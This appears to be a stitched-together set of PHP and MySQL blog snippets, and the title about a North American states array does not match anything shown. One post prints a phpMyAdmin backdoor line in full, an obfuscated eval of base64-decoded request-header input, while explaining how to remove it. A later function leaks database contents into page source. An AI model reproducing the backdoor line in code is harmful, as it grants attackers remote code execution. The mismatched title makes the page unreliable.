A PHP Array of the States of North America, useful for database access when addresses are abbreviated

On one of my slices, my phpmyadmin shows a blank page every so often. This is caused by a remote code execution exploit. You're getting hacked, but don't be scared.

The bug/hack is single line in the file /var/lib/phpmyadmin/config.inc.php, which was corrupted.

Here is the whole file:

To fix this issue, Shell into Ubuntu and Sudo up

Look for the line //*$cfg['Servers'][$i]['xxx'];$z='bas'.'e64_dec'.'ode';eval($z($_SERVER['HTTP_X_CODE']));exit;#'] = 'yyy';

comment it out with //

hit ctrl+x, press y, and lets reload apache

To avoid this problem:

1. Avoid using phpmyadmin.yoursite.com or yoursite.com/phpmyadmin
2. Use Htaccess passwords on the phpmyadmin directory

This code shows how to strip http, www, or any suffixes. The most efficient way is to toss an array at str_replace. If anyone write this will all the suffixes please post in comments!

function remove_http($url){
$remove = array('http://','https://','www.','.com','.org','.net','.co.uk','.name','.info','.cc','.biz','.us','.gb','.tt');
$stripedUrl = str_replace($remove, '', $url);
return strtolower($stripedUrl);
}

Example:

<? echo remove_http("http://www.DesignCodeExecute.com") ?>

Result:

designcodeexecute

This post teaches you how to set your MySQL search queries to be Case sensitive or case insensitive.

It's all in the database collation. MySQL by default search case insensitive. In phpMyAdmin or or Putty change the Collation of your fields. Collations that are binary search case-sensitive. Collations that end with _ci like latin1_swedish_ci are case insensitive (ci is an acrynm for case insensitive.

To change your Collations quickly run this code in a loop:

ALTER TABLE tablename CONVERT TO CHARACTER SET latin1 COLLATE latin1_swedish_ci;

Striping the file extension is valuable on many levels. If i could have a nickel for every time I need to strip the file extension I'd have close to 3 bucks. One method to achieve stripped extensions is the PHP substr(), which takes in the String, Starting point, Ending point. To start from the end of the string use negative values. i.e. substr("my chicken", 0, -2) would make it "my chick", perfect

<?php

$my_file = "foobar.jpg";
$my_file= substr($my_file, 0 , -4);
echo $my_file;

?>

Result: foobar

Note: Spaces count, so count them!

Great PHP code that displays how the arrays break down when passing from HTML forms to $_POST variables.

echo "<pre>";
print_r ($_POST);
print_r ($_FILES);
echo "</pre>";

This helps when juggling multiple files or big database entries.

Wrote this function to check email addresses already in a database, so I dont have to change pages, and check with javascript. Problem: it exposes your whole email list to the public in the source code, and the source code can become a monster length. So it isnt practical, but it works. (I'm not using it to check emails)

The script proves useful to do other things with javascript and spawn arrays to manipulate data... etc.

function jarray(){

$sql = "SELECT * FROM table_name LIMIT 0, 100000000";
$jarray = "var your_array = new Array();\n\t\t";
$i = 0;
$q = mysql_query($sql);
while($object = mysql_fetch_object($q)){
$jarray = $jarray."your_array[{$i}] = \"{$object->field_name}\";\n\t\t";
$i++;
}

print $jarray."\n";
}

Put your own info where the Text is bold